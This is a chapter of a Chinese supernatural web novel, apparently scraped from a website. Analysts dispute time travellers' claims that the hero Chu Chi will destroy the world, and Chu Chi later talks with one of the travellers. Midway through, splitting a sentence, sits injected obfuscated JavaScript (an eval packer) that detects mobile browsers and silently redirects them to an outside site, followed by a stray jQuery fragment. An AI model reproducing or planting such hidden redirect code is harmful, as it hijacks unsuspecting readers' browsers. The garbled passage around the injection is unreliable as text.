“他第一次出现是在2073年,也就是十三年后的未来。但根据这三人的口述,2073年之前,没有任何关于他的记录。同样,十三年后的人们对[楚池曾是零队成员]这件事也毫无印象,甚至连‘零队’这个概念都彻底消失了。在他们的认知里,二十年前的灵气复苏和异种危机的确出现了,但‘零队’从未存在过。这点很奇怪,要知道那些年S级甚至SS级的异种层出不穷,假设并不存在一个由尖端战力组成的、机动性极强的特殊队伍,怎么可能还能维持二十多年的秩序稳定?”
“要么是某种力量强行抹除了未来全体人类关于零队的记忆,要么是有人刻意篡改了那三位未来使者的记忆,再把他们扔回我们这个时间点……为了某种不可告人的目的。而我更偏向后者。”
“为什么不考虑平行时空?如果是另一个世界线的未来,也许成立的是类似[零队]但名称不同的特殊队伍,而楚池也说不定在那边完全变成了另一副模样。”
“还有一种可能,问题出在楚池自己身上。催眠、精神操控,或者某种不得已的苦衷?”
“一个人的变化不可能会那么大,我还是认为这三人口中的[灭世者]并不是楚池,而是一个会变形的异能者在冒充他。”
“预知能力确实存在,这点毋庸置疑。但‘来自未来’这个说法……实在是不可信。他们完全可以提前串供,以此离间我们和楚池,分裂零队,削弱人类方力量——这点听起来很熟悉不是吗?反派联盟那边常用的手段。”
……
楚池出去绕着大楼飞了几圈,大楼西面和东面都是公园,吹来的风还算清爽,将他那些乱七八糟的念头吹散了大半。
回来时,他顺手把蹲在二楼咖啡厅门口发呆的宗保拎了回来,这家伙怀里还抱着满满一袋冰美式,看样子是打算今天拿咖啡当水喝。
监控室里的情形和他离开时几乎没什么两样。
十五分钟前,那帮人正吵吵嚷嚷地分析着重生者的证词;十五分钟后,争论的内容已经变成了“重生者根本不存在”“这绝对是场阴谋”“楚哥怎么可能变成那样肯定是被人控制了”之类的车轱辘话。
宗保重新陷进转椅,三面显示屏的冷光在他脸上投下阴影。他叼着吸管喝咖啡,眼皮懒懒地耷拉着,仿佛随时能在附近的争吵声中睡去。
楚池环视一圈,锁定了沈无惑的身影。
他凑上前去问:“现在什么情况?”
沈无惑将笔记本转向他,屏幕上挤满密密麻麻的分析段落,“你觉得这些侧写和你可能的未来形象吻合吗?”
楚池瞪着那些文字看了半晌,干笑一声:“你知道的,我只有在打游戏时才会大杀四方。”
未等沈无惑回应,一旁的分析员突然拍案而起:“新推测!或许是某种力量让未来的灭世者把现实当成了游戏!”
楚池扭头看沈无惑:“……灭世者?”
沈无惑低头打字:“不用管,代号而已,方便把你们俩人分开。”
旁边的分析员抽空解释道:“这次被称为cc事件,我们始终认为这三位使者的言论存有多种疑点。放心楚哥,我们中大多数论点都是对你有利的。”
沈无惑继续在笔记本上敲字,语气平淡:“cc是出自你的名字首字母。”
楚池叹了口气,“多谢解释,顺便哥你是不是脑回路跟我们完全没在一块?”
“我有在努力跟上了。”沈无惑抬头朝楚池笑了笑,说:“分析还需要些时间,你可以先去后面沙发上休息。”
看着沈无惑重新扎进讨论的人群,楚池磨蹭着往回走,经过宗保时停下脚步:“我刚才就想问了,零队其他人呢?”
“又不是生日派对,没必要所有人都到齐吧。”宗保哈欠打到一半,手里未开封的咖啡突然被抽走,顿时睡意全无地瞪大眼睛。
楚池的目光从垃圾桶里已经喝完的那杯咖啡上移开,落在前方半空中显示的三张人像图片,那个瘦高青年的影像清晰,底下那行小字格外清晰——“唯一正面与[灭世者]见过面并进行交流的使者。”
“我出去一趟。”楚池的视线从屏幕上的瘦高青年身上移开,朝宗保笑了笑,又从他桌面上取走一杯,“咖啡送我两杯,顺便再帮我个忙,你这个月的甜品我包了。”
宗保瞅瞅人群里的沈无惑,猛不丁抬起两根手指。
楚池点头。
宗保也满意地点头,摆了摆手,示意楚池快走。
于是,等到沈无惑再次从人群里挤出来想找楚池时,就看到宗保正独自一人咬着咖啡吸管发呆。
“楚池呢?”
沈无惑在周围都看不到熟悉的人影。
宗保含糊不清道:“上帝已死。”
沈无惑:“……”
他把手里的文件夹一巴掌呼过去。
*
“是这样的,目前我们有三种推测。”
“第一,你们并非真正意义上来自未来的重生者。本质上,你们是当下时代的人,只不过记忆被某些人或某个组织篡改,借此来误导我们。”
白衬衫女性语气温和,不带丝毫攻击性,却让杜安歌几乎是条件反射般迅速否认,言辞间满是急切:“可我们知道未来会发生的大型灾害,你们也可以去确认——”
“正因如此,第一种推测里才包含了‘某个组织’的可能性。或许在那个组织之中,存在着拥有预言系异能的特殊人物。”她不急不缓地回应,声音轻柔却带着不容置疑的笃定。
这时,一旁身着笔挺西装的男人接过话茬:“第二种推测,你们确实来自未来,不过是来自平行时空。在你们所处的时空里,那位名为楚池的男人,在灵气复苏之后并未走入大众视野,也未曾加入官方组织。而后,因某些未知缘由,滋生出毁灭世界的疯狂想法。”
杜安歌嘴唇微动,想要辩驳,可脑海中却如一团乱麻,一时竟找不到合适的反驳之词,只能怔在原地。
“至于第三种推测,你的确来自未来,且属于我们这个时空。但未来的那个楚池,极有可能受到某种外来力量的影响与干扰,才做出了你口中的那些灭世行为。”西装男继续说道,语气严肃而凝重。
“我们会依据这三种主流推测,展开后续有针对性的深入讨论与细致分析。”白衬衫女性总结道,而后露出温和笑容,“您需要重新泡一杯茶水吗?”
杜安歌沉默良久,没有立刻开口回应。
情感上,他感到一种近乎荒谬的悲哀——这些人宁愿相信一个完美无瑕的幻象,也不愿正视他带来的警示。愤怒在胸腔里灼烧,却又被理智一寸寸浇灭。他们是对的。此刻的楚池站在那里,干净得像是从未沾染过鲜血,而自己,反倒成了打破平静、煽动猜忌的“祸端”。
杜安歌终于开口,声音像是从齿缝间挤出来的:“好,我会配合你们。”
他重重吐出一口气,眼神却陡然锐利,“但有个问题,你们给出的三种推测里,为什么从来没有一种可能是……他本就如此?他只是在扮演一个完美无瑕的英雄角色?”
空气骤然凝固。
“是因为他太强了,所以你们不愿相信他是‘自愿’做出那些事?”他的目光死死落在两人的脸上,不放过任何一丝动摇的痕迹,“还是说……你们也在害怕?害怕那个英雄从未存在?”
白衬衫女性的脸上笑容微微淡去,她凝视着杜安歌,指尖在身旁的文件边缘摩挲片刻,终于将那份档案推向杜安歌。
“从个人角度而言,我也更倾向外力干扰。2050年灵气复苏,2052年零队成立,而这三年正是第一次异种的高活跃期。”她看上去依旧冷静而理智,但声音里却像是压制着某种怒火,“而当时的楚池并未加入任何异能组织,才十四十五岁,还是个孩子,被沈队劝着留在安全地方继续以学业为重。可他偷偷一人,单枪匹马,在这三年里干掉了三头A级,五头B级,更别说还未记录的低等级异种。”
杜安歌翻开档案,密密麻麻的击杀记录瞬间映入眼帘,下意识念道:“2054年正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496035|170193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
式加入零队,而后在第二次异种爆发阶段,斩杀SS级两头,S级十五只,A级……”
他的声音突然卡在喉咙里。
“两千六百五十二只。”白衬衫女子平静地接上,“这还不包括B级以下的异种。第二次爆发期的三年时间,平均每天解决四头,从东南临海到西北荒漠,甚至境外求援——所有人都盼着看见他的身影。”
“那你知道,从灵气复苏到至今的这十年里,他杀过多少人吗?”
杜安歌发现自己的指甲已经陷进纸页,不知为何,他像是在恐惧这个问题的答案。
寂静在档案室里蔓延。
“零。”白衬衫女性突然笑了,这个笑容却让杜安歌感到一阵颤抖,“就算对方试图把刀捅进他心脏,他也只会折断对方的手腕——当然,目前没有人能够做到给他致命伤。”
杜安歌听见自己干涩的声音:“现代社会的守法公民?真感人。”
“不。”白衬衫女性将档案翻到最后一页,那里有着心理分析师所写下的一句话,“他相信审判权属于法律体系。用他的话说——‘我们没资格扮演上帝’。”
杜安歌突然觉得呼吸困难,仿佛有看不见的手攥住了他的气管。
“力量从不是我们评判的标准。”西装男人推了推眼镜,接话道:“三千六百五十二只异种,四百七十多万位幸存者,这些数字比任何言论都更有说服力。”
他的目光突然变得极具压迫感,像是要将杜安歌钉在沙发上:“所以很遗憾,杜先生。你无法说服我们,而我们现在也不是在说服你相信我们的话,我们只是在告诉你一个事实——你们所带来的那些信息,很有可能正在威胁着全人类的生存概率。”
白衬衫女性缓和了语气,柔声道:“所以现在,我们,我们身后代表的所有人,都在希望你们配合我们的调查与分析,进而设法阻止那个未来的出现。”
空气陷入恐怖的死寂。
杜安歌感到自己一时无法呼吸。
他没有听到白衬衫女性后来的话,他满脑子都是那个数字“零”,他无法想象……为什么未来一个肆意玩弄生命的刽子手,在过去却是这么一个……堪称圣人的模样。
这时,突然响起的“咚咚”敲门声打破沉寂。
双方对话的当事人——楚池拿着两杯咖啡,正尴尬地站在门口,“不好意思打断一下,从不杀人那里我就想说话了,但感觉这里氛围好像过于严肃所以就没出声……总之,王哥安姐,接下来可以让我和这位杜先生单独聊一聊吗?”
西装男人按着耳麦沉默两秒,与白衬衫女□□换了个眼神。他们同时起身,朝楚池点了点头,往门外走去,然后关上了门。
杜安歌还处于一种三观重组的恍惚中,连楚池坐在对面沙发上时都没反应过来。
“加奶不加糖,宗保总是喝这些东西,今天一次性买了好几杯,所以我顺过来了两杯。”楚池把咖啡推到杜安歌面前,像是在闲聊般抱怨道:“还有,我得纠正一下王哥安姐先前的意思。事实上,他们说的那些不杀人啊,审判原则什么的……太夸张了。我原话其实是——”
他突然停顿,而后无奈地笑了笑,“杀人就像往海里扔石头。”
他比划着,杜安歌的注意力渐渐被他吸引,“最开始可能连水花都看不见,但总有一天,当你在电影院笑到一半,或者咬下第一口冰淇淋的时候……那块石头会突然从胃里浮上来。我会不经意间想起那个被我杀死的人,我会想他有没有无辜的亲朋好友,我会想他的死亡是否罪有应得,我会想他如果还活着会不会还有机会重新选择做一个好人……那些不断涌现的想法会让我一天的好心情都消失。”
“我并不像他们所说的那样伟大,我只是在逃避,我没有勇气去承担杀死一个人所带来的罪恶感。”
楚池终于和那个慢慢抬起头的杜安歌对视,他看到对方的眼睛里倒映着自己的身影,“所以,你们不用害怕我。”
他耸了耸肩,说:“我只是一个普通人。”